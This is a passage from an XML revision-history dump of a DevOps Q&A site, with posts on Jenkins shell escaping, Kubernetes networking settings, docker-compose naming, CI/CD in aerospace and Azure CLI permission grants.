  <row Id="29837" PostHistoryTypeId="2" PostId="9942" RevisionGUID="c4f0ec4c-1f4f-40d4-82b0-495c85812355" CreationDate="2019-11-26T15:42:40.110" UserId="4557" Text="Below is a script I am running in the deploy of a docker container. The `docker ps -a | grep $APP_CONTAINER_NAME` command is returning non-zero when the container was not correctly built/tested, hence the `|| true`.&#xD;&#xA;&#xD;&#xA;How can I prevent Jenkins from interpreting the ${PIPELINESTATUS[0]} as a variable replacement in the script? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;sh label: 'Stop and Remove Old Docker Container', script: '''&#xD;&#xA;                        docker ps -a&#xD;&#xA;                        echo $APP_CONTAINER_NAME&#xD;&#xA;&#xD;&#xA;                        docker ps -a | grep $APP_CONTAINER_NAME || true&#xD;&#xA;                        DOCKERCODE=&quot;${PIPESTATUS[0]}&quot;&#xD;&#xA;                        GREPCODE=&quot;${PIPESTATUS[1]}&quot;&#xD;&#xA;                        echo &quot;Docker Command Code: $DOCKERCODE&quot;&#xD;&#xA;&#xD;&#xA;                        echo &quot;Grep Command Code: $GREPCODE&quot;&#xD;&#xA;&#xD;&#xA;                        if [ $DOCKERCODE -eq 0 ] then;&#xD;&#xA;                            docker stop $APP_CONTAINER_NAME&#xD;&#xA;                            docker rm $APP_CONTAINER_NAME&#xD;&#xA;                        else&#xD;&#xA;                            echo &quot;WARNING: Docker command was empty or had an error&quot;&#xD;&#xA;                        fi&#xD;&#xA;                    '''" ContentLicense="CC BY-SA 4.0" />
  <row Id="29838" PostHistoryTypeId="1" PostId="9942" RevisionGUID="c4f0ec4c-1f4f-40d4-82b0-495c85812355" CreationDate="2019-11-26T15:42:40.110" UserId="4557" Text="Prevent ${PIPELINESTATUS[0]} from being evaluated in Jenkinsfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="29839" PostHistoryTypeId="3" PostId="9942" RevisionGUID="c4f0ec4c-1f4f-40d4-82b0-495c85812355" CreationDate="2019-11-26T15:42:40.110" UserId="4557" Text="&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;&lt;shell-script&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29840" PostHistoryTypeId="5" PostId="9942" RevisionGUID="fbca89de-4813-4d02-8bbe-a54e21ad217e" CreationDate="2019-11-26T16:17:05.817" UserId="4557" Comment="added 144 characters in body" Text="Below is a script I am running in the deploy of a docker container. The `docker ps -a | grep $APP_CONTAINER_NAME` command is returning non-zero when the container was not correctly built/tested, hence the `|| true`.&#xD;&#xA;&#xD;&#xA;How can I prevent Jenkins from interpreting the ${PIPELINESTATUS[0]} as a variable replacement in the script? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sh label: 'Stop and Remove Old Docker Container', script: '''&#xD;&#xA;                        docker ps -a&#xD;&#xA;                        echo $APP_CONTAINER_NAME&#xD;&#xA;&#xD;&#xA;                        docker ps -a | grep $APP_CONTAINER_NAME || true&#xD;&#xA;                        DOCKERCODE=&quot;${PIPESTATUS[0]}&quot;&#xD;&#xA;                        GREPCODE=&quot;${PIPESTATUS[1]}&quot;&#xD;&#xA;                        echo &quot;Docker Command Code: $DOCKERCODE&quot;&#xD;&#xA;&#xD;&#xA;                        echo &quot;Grep Command Code: $GREPCODE&quot;&#xD;&#xA;&#xD;&#xA;                        if [ $DOCKERCODE -eq 0 ] then;&#xD;&#xA;                            docker stop $APP_CONTAINER_NAME&#xD;&#xA;                            docker rm $APP_CONTAINER_NAME&#xD;&#xA;                        else&#xD;&#xA;                            echo &quot;WARNING: Docker command was empty or had an error&quot;&#xD;&#xA;                        fi&#xD;&#xA;                    '''&#xD;&#xA;&#xD;&#xA;I've tried triple double quotes, escaping the quotes in the shell script, and single quoting the PIPESTATUS command prevents execution. " ContentLicense="CC BY-SA 4.0" />
  <row Id="29841" PostHistoryTypeId="5" PostId="9942" RevisionGUID="f9107ac8-11f8-4755-85f5-e3324d9e426b" CreationDate="2019-11-26T19:46:54.930" UserId="4557" Comment="added 1889 characters in body" Text="Below is a script I am running in the deploy of a docker container. The `docker ps -a | grep $APP_CONTAINER_NAME` command is returning non-zero when the container was not correctly built/tested, hence the `|| true`.&#xD;&#xA;&#xD;&#xA;How can I prevent Jenkins from interpreting the ${PIPELINESTATUS[0]} as a variable replacement in the script? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sh label: 'Stop and Remove Old Docker Container', script: '''&#xD;&#xA;                        docker ps -a&#xD;&#xA;                        echo $APP_CONTAINER_NAME&#xD;&#xA;&#xD;&#xA;                        docker ps -a | grep $APP_CONTAINER_NAME || true&#xD;&#xA;                        DOCKERCODE=&quot;${PIPESTATUS[0]}&quot;&#xD;&#xA;                        GREPCODE=&quot;${PIPESTATUS[1]}&quot;&#xD;&#xA;                        echo &quot;Docker Command Code: $DOCKERCODE&quot;&#xD;&#xA;&#xD;&#xA;                        echo &quot;Grep Command Code: $GREPCODE&quot;&#xD;&#xA;&#xD;&#xA;                        if [ $DOCKERCODE -eq 0 ] then;&#xD;&#xA;                            docker stop $APP_CONTAINER_NAME&#xD;&#xA;                            docker rm $APP_CONTAINER_NAME&#xD;&#xA;                        else&#xD;&#xA;                            echo &quot;WARNING: Docker command was empty or had an error&quot;&#xD;&#xA;                        fi&#xD;&#xA;                    '''&#xD;&#xA;EDIT1: &#xD;&#xA;To clarify - this command gives the error `/mnt/data/jenkins/workspace/Test@tmp/durable-4c7b4748/script.sh: 7: /mnt/data/jenkins/workspace/Test@tmp/durable-4c7b4748/script.sh: Bad substitution`&#xD;&#xA;&#xD;&#xA;I've tried triple double quotes, escaping the quotes in the shell script, and single quoting the PIPESTATUS command prevents execution. &#xD;&#xA;&#xD;&#xA;UPDATE: &#xD;&#xA;I tried escaping quite a few things. A single slash results in the above error as well. A double slash results in printing the line and not running the bash command.&#xD;&#xA;&#xD;&#xA;            sh label: 'Stop and Remove Old Docker Container', script: '''&#xD;&#xA;                    docker ps -a&#xD;&#xA;                    echo $APP_CONTAINER_NAME&#xD;&#xA;                    &#xD;&#xA;                    docker ps -a | grep $APP_CONTAINER_NAME || true&#xD;&#xA;                    echo &quot;HERE&quot;&#xD;&#xA;                    echo \\${PIPESTATUS[@]}&#xD;&#xA;                    DOCKERCODE=&quot;\\${PIPESTATUS[0]}&quot;&#xD;&#xA;                    GREPCODE=&quot;\\${PIPESTATUS[1]}&quot;&#xD;&#xA;                    echo &quot;Docker Command Code: \$DOCKERCODE&quot;&#xD;&#xA;                    &#xD;&#xA;                    echo &quot;Grep Command Code: \$GREPCODE&quot;&#xD;&#xA;&#xD;&#xA;                    if [ \\$DOCKERCODE -eq 0 ] then;&#xD;&#xA;                        docker stop $APP_CONTAINER_NAME&#xD;&#xA;                        docker rm $APP_CONTAINER_NAME&#xD;&#xA;                    else&#xD;&#xA;                        echo &quot;WARNING: Docker command was empty or had an error&quot;&#xD;&#xA;                    fi&#xD;&#xA;                '''&#xD;&#xA;&#xD;&#xA;Output from above version:&#xD;&#xA;&#xD;&#xA;    TEST&#xD;&#xA;    + docker ps -a&#xD;&#xA;    + grep TEST&#xD;&#xA;    + true&#xD;&#xA;    + echo HERE&#xD;&#xA;    HERE&#xD;&#xA;    + echo ${PIPESTATUS[@]}&#xD;&#xA;    ${PIPESTATUS[@]}&#xD;&#xA;    + DOCKERCODE=${PIPESTATUS[0]}&#xD;&#xA;    + GREPCODE=${PIPESTATUS[1]}&#xD;&#xA;    + echo Docker Command Code: ${PIPESTATUS[0]}&#xD;&#xA;    Docker Command Code: ${PIPESTATUS[0]}&#xD;&#xA;    + echo Grep Command Code: ${PIPESTATUS[1]}&#xD;&#xA;    Grep Command Code: ${PIPESTATUS[1]}&#xD;&#xA;    /mnt/data/jenkins/workspace/Test@tmp/durable-4a5608fa/script.sh: 17: /mnt/data/jenkins/workspace/Test@tmp/durable-4a5608fa/script.sh: Syntax error: &quot;else&quot; unexpected (expecting &quot;then&quot;)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29842" PostHistoryTypeId="2" PostId="9943" RevisionGUID="753f375a-d126-45ec-978b-00a3a2be982b" CreationDate="2019-11-26T20:14:06.197" UserId="12138" Text="There seems to be some syntax issues and also I would suggest to use `bash` instead if using `sh` shell.&#xD;&#xA;&#xD;&#xA;Try the below code and see if this works properly.&#xD;&#xA;&#xD;&#xA;    sh label: 'Stop and Remove Old Docker Container', script: '''&#xD;&#xA;                    #!/bin/bash&#xD;&#xA;                    docker ps -a&#xD;&#xA;                    echo $APP_CONTAINER_NAME&#xD;&#xA;&#xD;&#xA;                    docker ps -a | grep $APP_CONTAINER_NAME || true&#xD;&#xA;                    status=(&quot;${PIPESTATUS[@]}&quot;)&#xD;&#xA;                    DOCKERCODE=${status[0]}&#xD;&#xA;                    GREPCODE=${status[1]}&#xD;&#xA;                    echo &quot;Docker Command Code: $DOCKERCODE&quot;&#xD;&#xA;&#xD;&#xA;                    echo &quot;Grep Command Code: $GREPCODE&quot;&#xD;&#xA;&#xD;&#xA;                    if [ $DOCKERCODE -eq 0 ]; then&#xD;&#xA;                        docker stop $APP_CONTAINER_NAME&#xD;&#xA;                        docker rm $APP_CONTAINER_NAME&#xD;&#xA;                    else&#xD;&#xA;                        echo &quot;WARNING: Docker command was empty or had an error&quot;&#xD;&#xA;                    fi&#xD;&#xA;                '''&#xD;&#xA;&#xD;&#xA;In the above code, I have made changes in the way you were trying to get output of command `docker ps -a | grep $APP_CONTAINER_NAME || true` using `PIPESTATUS` variable. &#xD;&#xA;Since `PIPESTATUS` is a special variable, it's value gets updated after every command, so you were not getting any value of `${PIPESTATUS[1]}`&#xD;&#xA;&#xD;&#xA;The other change I have made is fixing the syntax issue in the line `if [ $DOCKERCODE -eq 0 ] then;` to `if [ $DOCKERCODE -eq 0 ]; then`&#xD;&#xA;&#xD;&#xA;You can test out the code further." ContentLicense="CC BY-SA 4.0" />
  <row Id="29843" PostHistoryTypeId="5" PostId="9943" RevisionGUID="600349a5-2317-427f-ae23-6be1ba95e638" CreationDate="2019-11-26T20:22:14.207" UserId="12138" Comment="added 8 characters in body" Text="There seems to be some syntax issues and also I would suggest to use `bash` instead if using `sh` shell.&#xD;&#xA;&#xD;&#xA;Try the below code and see if this works properly.&#xD;&#xA;&#xD;&#xA;    sh label: 'Stop and Remove Old Docker Container', script: '''&#xD;&#xA;                    #!/usr/bin/env bash&#xD;&#xA;                    docker ps -a&#xD;&#xA;                    echo $APP_CONTAINER_NAME&#xD;&#xA;&#xD;&#xA;                    docker ps -a | grep $APP_CONTAINER_NAME || true&#xD;&#xA;                    status=(&quot;${PIPESTATUS[@]}&quot;)&#xD;&#xA;                    DOCKERCODE=${status[0]}&#xD;&#xA;                    GREPCODE=${status[1]}&#xD;&#xA;                    echo &quot;Docker Command Code: $DOCKERCODE&quot;&#xD;&#xA;&#xD;&#xA;                    echo &quot;Grep Command Code: $GREPCODE&quot;&#xD;&#xA;&#xD;&#xA;                    if [ $DOCKERCODE -eq 0 ]; then&#xD;&#xA;                        docker stop $APP_CONTAINER_NAME&#xD;&#xA;                        docker rm $APP_CONTAINER_NAME&#xD;&#xA;                    else&#xD;&#xA;                        echo &quot;WARNING: Docker command was empty or had an error&quot;&#xD;&#xA;                    fi&#xD;&#xA;                '''&#xD;&#xA;&#xD;&#xA;In the above code, I have made changes in the way you were trying to get output of command `docker ps -a | grep $APP_CONTAINER_NAME || true` using `PIPESTATUS` variable. &#xD;&#xA;Since `PIPESTATUS` is a special variable, it's value gets updated after every command, so you were not getting any value of `${PIPESTATUS[1]}`&#xD;&#xA;&#xD;&#xA;The other change I have made is fixing the syntax issue in the line `if [ $DOCKERCODE -eq 0 ] then;` to `if [ $DOCKERCODE -eq 0 ]; then`&#xD;&#xA;&#xD;&#xA;You can test out the code further." ContentLicense="CC BY-SA 4.0" />
  <row Id="29846" PostHistoryTypeId="2" PostId="9944" RevisionGUID="9a21c35c-7076-4008-805d-13d605ed87df" CreationDate="2019-11-26T23:47:50.850" UserId="18007" Text="I have a pipeline with some stages and logic. The only possible debugger is adding try-catch to each stage:&#xD;&#xA;&#xD;&#xA;    stage (&quot;distribution&quot;){&#xD;&#xA;    			steps{&#xD;&#xA;    				script{&#xD;&#xA;    				    try{&#xD;&#xA;    	amd_distribution_distribute_bundle&#xD;&#xA;    			        }&#xD;&#xA;    				   catch (Exception e) {&#xD;&#xA;                        echo e.toString()&#xD;&#xA;                        }&#xD;&#xA;                }&#xD;&#xA;    		}&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;however, if one stage fails, I need to stop the pipeline:&#xD;&#xA;&#xD;&#xA;    status = sh script: '''&#xD;&#xA;                    set +x&#xD;&#xA;                    python3.4 main.py --command create_bundle&#xD;&#xA;                    ''',  returnStatus:true&#xD;&#xA;                 }&#xD;&#xA;            }&#xD;&#xA;         }&#xD;&#xA;    &#xD;&#xA;        if (status == 1) {&#xD;&#xA;        error(&quot;returning 1 from func&quot;)&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;but the try-catch from the pipeline actually cancel it (it proceed to other stages. is there a way to combine them?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29847" PostHistoryTypeId="1" PostId="9944" RevisionGUID="9a21c35c-7076-4008-805d-13d605ed87df" CreationDate="2019-11-26T23:47:50.850" UserId="18007" Text="Is it possible to combine failure stage from groovy with try catch from pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="29848" PostHistoryTypeId="3" PostId="9944" RevisionGUID="9a21c35c-7076-4008-805d-13d605ed87df" CreationDate="2019-11-26T23:47:50.850" UserId="18007" Text="&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29854" PostHistoryTypeId="2" PostId="9946" RevisionGUID="aabc764e-a8c4-4930-91ab-42873956e99e" CreationDate="2019-11-27T06:11:01.623" UserId="18159" Text="i was going through the kubernetes the hard way(kelsey), i see in the API server unit file with a cluster ip range as &#xD;&#xA; --service-cluster-ip-range=10.32.0.0/24 \\&#xD;&#xA; is it a default ip range ?&#xD;&#xA;my VPC CIDR is 172.31.0.0/16 this so should i need to provide this ip instead of default one ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29855" PostHistoryTypeId="1" PostId="9946" RevisionGUID="aabc764e-a8c4-4930-91ab-42873956e99e" CreationDate="2019-11-27T06:11:01.623" UserId="18159" Text="Kubernetes api service unit file" ContentLicense="CC BY-SA 4.0" />
  <row Id="29856" PostHistoryTypeId="3" PostId="9946" RevisionGUID="aabc764e-a8c4-4930-91ab-42873956e99e" CreationDate="2019-11-27T06:11:01.623" UserId="18159" Text="&lt;kubernetes&gt;&lt;amazon-ec2&gt;&lt;aws-cli&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29860" PostHistoryTypeId="2" PostId="9948" RevisionGUID="a64a7381-0093-4ed2-b15d-68121469a9ff" CreationDate="2019-11-27T08:59:53.353" UserId="15382" Text="Docker Prepends the current folder name with all the components name created using docker compose file.&#xD;&#xA;&#xD;&#xA;Eg : If the current folder name containing the docker-compose.yml file is test, all the volumes,network and container names will get test appended to it. In order to solve the problem people earlier proposed the idea of using **-p** flag with docker-compose command but the solution is not the most feasible one as a project name is required just after the -p attribute. The project name then gets appended to all the components created using docker compose file.&#xD;&#xA;&#xD;&#xA;The **Solution** to the above problem is using the **name** property as in below.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;volumes: &#xD;&#xA;  data:&#xD;&#xA;    driver: local&#xD;&#xA;    name: mongodata&#xD;&#xA;&#xD;&#xA;networks: &#xD;&#xA;  internal-network:&#xD;&#xA;    driver: bridge&#xD;&#xA;    name: frontend-network&#xD;&#xA;```&#xD;&#xA;This volume can be referred in the service section as &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;services:&#xD;&#xA;  mongo-database:&#xD;&#xA;      volumes: &#xD;&#xA;        - data:/data/db&#xD;&#xA;      networks: &#xD;&#xA;        - internal-network&#xD;&#xA;```&#xD;&#xA;The above **name** attribute will prevent docker-compose to prepend folder name.&#xD;&#xA;&#xD;&#xA;Note : For the container name one could use the property **container_name**&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;services:&#xD;&#xA;  mongo-database:&#xD;&#xA;    container_name: mongo&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29861" PostHistoryTypeId="2" PostId="9949" RevisionGUID="afd62c90-96d6-4d34-9089-c1660c46dadf" CreationDate="2019-11-27T09:57:12.980" UserId="18159" Text="clusterDNS: &#xD;&#xA;  - &quot;10.32.0.10&quot;&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA;The above is a flag passed to the kubelet file, i dont know what it refers to clsuter DNS ? Is it refers to VPC CIDR or any subnet CIDR ?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29862" PostHistoryTypeId="1" PostId="9949" RevisionGUID="afd62c90-96d6-4d34-9089-c1660c46dadf" CreationDate="2019-11-27T09:57:12.980" UserId="18159" Text="Kubelet config file -- &gt; clusterDNS" ContentLicense="CC BY-SA 4.0" />
  <row Id="29863" PostHistoryTypeId="3" PostId="9949" RevisionGUID="afd62c90-96d6-4d34-9089-c1660c46dadf" CreationDate="2019-11-27T09:57:12.980" UserId="18159" Text="&lt;kubernetes&gt;&lt;networking&gt;&lt;kubectl&gt;&lt;network-monitoring&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29864" PostHistoryTypeId="2" PostId="9950" RevisionGUID="a2b2e456-d797-4287-8874-0116e0e63b59" CreationDate="2019-11-27T10:18:01.253" UserId="16683" Text="The `--service-cluster-ip-range` will define the range of IP address that Kubernetes will assign when you create a `ClusterIP` Service. It's different from your VPC CIDR which correspond to your nodes (EC2) IPs. You can let the default `10.32.0.0/24` as is or change it but make sure that it does not overlap with your VPC CIDR." ContentLicense="CC BY-SA 4.0" />
  <row Id="29865" PostHistoryTypeId="5" PostId="9919" RevisionGUID="0cb52332-2211-4825-bf5f-c9950025194a" CreationDate="2019-11-27T10:25:14.170" UserId="707" Comment="edited body" Text="Here is an industry specific question. &#xD;&#xA;&#xD;&#xA;I have also seen it on Reddit &quot;*[What is the CI/CD tool at Tesla/SpaceX?][1]*&quot; but there is no relevant answer so far.&#xD;&#xA;&#xD;&#xA;I wonder **whether there are, or are recognizable in near future, industry specifics for CI/CD solutions in a space engineering company** like SpaceX, compared to other companies where mass manufacturing plays a role, for example to car (supplier) companies?&#xD;&#xA; &#xD;&#xA;*Terms:*&#xD;&#xA;&#xD;&#xA;- [*CI*][2]/[*CD*][3] - continuous integration and delivery to support continuous improvement of software&#xD;&#xA;- [*DevOps*][4] - body of methods, practices and also a mindset to leverage shorter delivery cycles of software; DevOps is agnostic with regards to project methodology, programming language and operation system&lt;sup&gt;1&lt;/sup&gt;.&#xD;&#xA;&#xD;&#xA;*Topicality:*&#xD;&#xA;&#xD;&#xA;While this is not directly about space exploration, this topic does have an impact; imagine following use cases:&#xD;&#xA;&#xD;&#xA;- your custom metal 3D printer, or a robotic assembler gets stuck due to some software error. How long does it take to deliver the patch? What is acceptable outage time?&#xD;&#xA;- you should secure accurate operation of your mission software by sufficient acceptance tests which include automated testing like [test coverage][5]&lt;sup&gt;2&lt;/sup&gt;. Do you need awareness through measurable facts here, while [ECSS compliance][6] requires 100% test coverage? How much is enough/a must for human spaceflight?&#xD;&#xA;&#xD;&#xA;*Research effort*:&#xD;&#xA;&#xD;&#xA;My research so far using these sources of information:&#xD;&#xA;&#xD;&#xA;* the stackshare.io site (which does not need to be the source of current, correct and complete data, still somebody has published it once)&#xD;&#xA;* LinkedIn search for peoples' titles and expertise around CI/CD and DevOps&#xD;&#xA;* Job sites of major companies&#xD;&#xA;&#xD;&#xA;What I have found so far:&#xD;&#xA;&#xD;&#xA;* [SpaceX][7] does not list a CI/CD system. Ok they [look][8] currently for a build/release software engineer.&#xD;&#xA;* BlueOrigin lists even less on StackShare; interestingly they use CloudFlare ([DDoS][9] protection). According to [this position][10], they seem also to start thinking in this direction.&#xD;&#xA;&#xD;&#xA;Following from the wording of the job descriptions and other sources, there is no (enteprise scale) CI/CD yet there, neither DevOps is a big topic yet.  But they move in this direction, so there is no simple &quot;no&quot; answer I think.&#xD;&#xA;&#xD;&#xA;There is also no simple strategy like &quot;implement your own&quot;, or &quot;take product X&quot; because these systems being around since about 20 years are still in their development; for example, the issue and requirements board aka *backlog* of a major open source product counts about [30000 items][11]! Possibly, many of them reflect common topics, but on this scale one can expect that some will be also industries specific or related.&#xD;&#xA;&#xD;&#xA;For sure, in the beginning there must be a well-engineered concept, a CI/CD system is after all a smart helper&lt;sup&gt;3&lt;/sup&gt;.&#xD;&#xA;&#xD;&#xA;***&#xD;&#xA;&#xD;&#xA;**Footnotes**&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;1&lt;/sup&gt; For example, CI/CD is used to [build and test Kubernetes][12]  &quot;*with a need to execute over 10,000 CI/CD jobs per day across over 100 repositories of code*&quot;. Also, Linux community [has decided][13] to use CI/CD for the Linux kernel.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;2&lt;/sup&gt; Quote from the linked source about [Margaret Hamilton][14]: &quot;*without that software, not to mention Hamilton's well-documented **insistence on rigorous testing**, humans would've never reached the moon safely*&quot;.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;3&lt;/sup&gt; &quot;*.. Uber’s self-driving technology hadn’t been programmed to detect jaywalkers* [*at all*][15]&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.reddit.com/r/devops/comments/e20c9p/what_is_the_cicd_tool_at_teslaspacex/&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Continuous_integration&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Continuous_delivery&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [5]: https://www.grunge.com/174465/the-untold-truth-of-the-woman-who-took-america-to-the-moon/&#xD;&#xA;  [6]: https://www.researchgate.net/publication/319141355_Is_100_Test_Coverage_a_Reasonable_Requirement_Lessons_Learned_from_a_Space_Software_Project&#xD;&#xA;  [7]: https://stackshare.io/spacex/spacex&#xD;&#xA;  [8]: https://boards.greenhouse.io/spacex/jobs/4301133002?gh_jid=4301133002&#xD;&#xA;  [9]: https://en.wikipedia.org/wiki/Denial-of-service_attack&#xD;&#xA;  [10]: https://blueorigin.wd5.myworkdayjobs.com/en-US/BlueOrigin/job/Kent-WA/Software-Development-Engineer-in-Test--SDET-_R2317&#xD;&#xA;  [11]: https://gitlab.com/groups/gitlab-org/-/issues&#xD;&#xA;  [12]: https://kurtmadel.com/posts/native-kubernetes-continuous-delivery/prow/&#xD;&#xA;  [13]: https://www.zdnet.com/article/automated-testing-comes-to-the-linux-kernel-kernelci/&#xD;&#xA;  [14]: https://en.wikipedia.org/wiki/Margaret_Hamilton_(software_engineer)&#xD;&#xA;  [15]: https://siliconangle.com/2019/11/06/ntsb-report-funds-uber-car-killed-pedestrian-caused-programming-error/" ContentLicense="CC BY-SA 4.0" />
  <row Id="29869" PostHistoryTypeId="2" PostId="9952" RevisionGUID="0eaf9c17-1447-4724-a1c0-3a251681f796" CreationDate="2019-11-27T10:58:09.197" UserId="18409" Text="What you need here are the [az ad app permission][1] commands.&#xD;&#xA;&#xD;&#xA;Here is a complete example (assuming powershell):&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;$apiId = &quot;00000002-0000-0000-c000-000000000000&quot; # Windows Azure Active Directory &#xD;&#xA;$apiPermissionsId = &quot;78c8a3c8-a07e-4b9e-af1b-b5ccab50a175&quot; # Directory.ReadWrite.All&#xD;&#xA;$spn = az ad sp create-for-rbac --role=&quot;Owner&quot; --name blah | ConvertFrom-Json &#xD;&#xA;az ad app permission add --id $spn.appId --api $apiId --api-permissions (&quot;{0}=Scope&quot; -f $apiPermissionsId)&#xD;&#xA;az ad app permission grant --id $spn.appId --api $apiId&#xD;&#xA;az ad app permission admin-consent --id $spn.appId&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;See this page for a map of: https://blogs.msdn.microsoft.com/aaddevsup/2018/06/06/guid-table-for-windows-azure-active-directory-permissions/&#xD;&#xA;&#xD;&#xA;On some occasions I have been unable to find documentation for the magic guids required for a particular app / permission, in which case I would resort to adding them through the portal manually (azure ad &gt; app registrations &gt; required permissions) and reading the json manifest back to reveal the required guids which can then be plugged into automation.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/cli/azure/ad/app/permission?view=azure-cli-latest#commands" ContentLicense="CC BY-SA 4.0" />
  <row Id="29870" PostHistoryTypeId="2" PostId="9953" RevisionGUID="5d373ef4-d6d3-4ffc-8da5-f69fab426ceb" CreationDate="2019-11-27T11:03:44.157" UserId="18410" Text="I was trying to install [Photon][1] by pulling the docker image. But when I run `docker build -t photon .` I am getting the below error.&#xD;&#xA;&#xD;&#xA;     ---&gt; Running in 3076fb42ef8b&#xD;&#xA;    ERROR: Unable to read database state: No such file or directory&#xD;&#xA;    ERROR: Failed to open apk database: No such file or directory&#xD;&#xA;    The command '/bin/sh -c apk add git &amp;&amp; git clone https://github.com/s0md3v/Photon.git Photon' returned a non-zero code: 99&#xD;&#xA;&#xD;&#xA;I observed the same error before when I tried to install some other application. So, I am guessing this is not something specific to Photon. What is causing this error? How to fix this?&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/s0md3v/Photon" ContentLicense="CC BY-SA 4.0" />
  <row Id="29871" PostHistoryTypeId="1" PostId="9953" RevisionGUID="5d373ef4-d6d3-4ffc-8da5-f69fab426ceb" CreationDate="2019-11-27T11:03:44.157" UserId="18410" Text="ERROR: Unable to read database state: No such file or directory" ContentLicense="CC BY-SA 4.0" />
  <row Id="29872" PostHistoryTypeId="3" PostId="9953" RevisionGUID="5d373ef4-d6d3-4ffc-8da5-f69fab426ceb" CreationDate="2019-11-27T11:03:44.157" UserId="18410" Text="&lt;docker&gt;&lt;containers&gt;&lt;alpine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29876" PostHistoryTypeId="6" PostId="9919" RevisionGUID="c7f2c500-f65f-41b5-9aa2-1149ad05e17f" CreationDate="2019-11-27T12:15:37.393" UserId="47" Comment="edited tags" Text="&lt;continuous-integration&gt;&lt;automation&gt;&lt;continuous-delivery&gt;&lt;quality-cotrol&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="29877" PostHistoryTypeId="2" PostId="9955" RevisionGUID="d93b3dfc-14d7-4e14-a550-db487a378cae" CreationDate="2019-11-27T12:28:14.427" UserId="17508" Text="It is the address of the DNS server (probably CoreDNS but possibly kube-dns) for the cluster." ContentLicense="CC BY-SA 4.0" />
  <row Id="29878" PostHistoryTypeId="5" PostId="9952" RevisionGUID="4a483cd8-3f1c-4bb2-8515-8140b6be423d" CreationDate="2019-11-27T12:46:33.227" UserId="18409" Comment="added 17 characters in body" Text="What you need here are the [az ad app permission][1] commands.&#xD;&#xA;&#xD;&#xA;Here is a complete example (assuming powershell):&#xD;&#xA;&#xD;&#xA;`&#xD;&#xA;$apiId = &quot;00000002-0000-0000-c000-000000000000&quot; # Windows Azure Active Directory &#xD;&#xA;$apiPermissionsId = &quot;78c8a3c8-a07e-4b9e-af1b-b5ccab50a175&quot; # Directory.ReadWrite.All&#xD;&#xA;$spn = az ad sp create-for-rbac --role=&quot;Owner&quot; --name blah | ConvertFrom-Json &#xD;&#xA;az ad app permission add --id $spn.appId --api $apiId --api-permissions (&quot;{0}=Scope&quot; -f $apiPermissionsId)&#xD;&#xA;az ad app permission grant --id $spn.appId --api $apiId&#xD;&#xA;az ad app permission admin-consent --id $spn.appId&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;See this page for a map of permission guids: https://blogs.msdn.microsoft.com/aaddevsup/2018/06/06/guid-table-for-windows-azure-active-directory-permissions/&#xD;&#xA;&#xD;&#xA;On some occasions I have been unable to find documentation for the magic guids required for a particular app / permission, in which case I would resort to adding them through the portal manually (azure ad &gt; app registrations &gt; required permissions) and reading the json manifest back to reveal the required guids which can then be plugged into automation.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/cli/azure/ad/app/permission?view=azure-cli-latest#commands" ContentLicense="CC BY-SA 4.0" />
  <row Id="29880" PostHistoryTypeId="5" PostId="9952" RevisionGUID="1c8aa9bf-d03e-4b08-850e-8e95c9d5cb7a" CreationDate="2019-11-27T13:45:55.527" UserId="397" Comment="Formatting and Captilisation" Text="What you need here are the [az ad app permission][1] commands.&#xD;&#xA;&#xD;&#xA;Here is a complete example (assuming powershell):&#xD;&#xA;&#xD;&#xA;```PowerShell&#xD;&#xA;$apiId = &quot;00000002-0000-0000-c000-000000000000&quot; # Windows Azure Active Directory &#xD;&#xA;$apiPermissionsId = &quot;78c8a3c8-a07e-4b9e-af1b-b5ccab50a175&quot; # Directory.ReadWrite.All&#xD;&#xA;$spn = az ad sp create-for-rbac --role=&quot;Owner&quot; --name blah | ConvertFrom-Json &#xD;&#xA;az ad app permission add --id $spn.appId --api $apiId --api-permissions (&quot;{0}=Scope&quot; -f $apiPermissionsId)&#xD;&#xA;az ad app permission grant --id $spn.appId --api $apiId&#xD;&#xA;az ad app permission admin-consent --id $spn.appId&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;For reference, Microsoft has [a list][2] of the GUIDs used for various applications.&#xD;&#xA;&#xD;&#xA;On some occasions I have been unable to find documentation for the magic GUIDs required for a particular app/permission, in which case I would resort to adding them through the portal manually (Azure Active Directory ➔ App Registrations ➔ Required Permissions) and then reading the JSON manifest back to reveal the required GUIDs which can then be 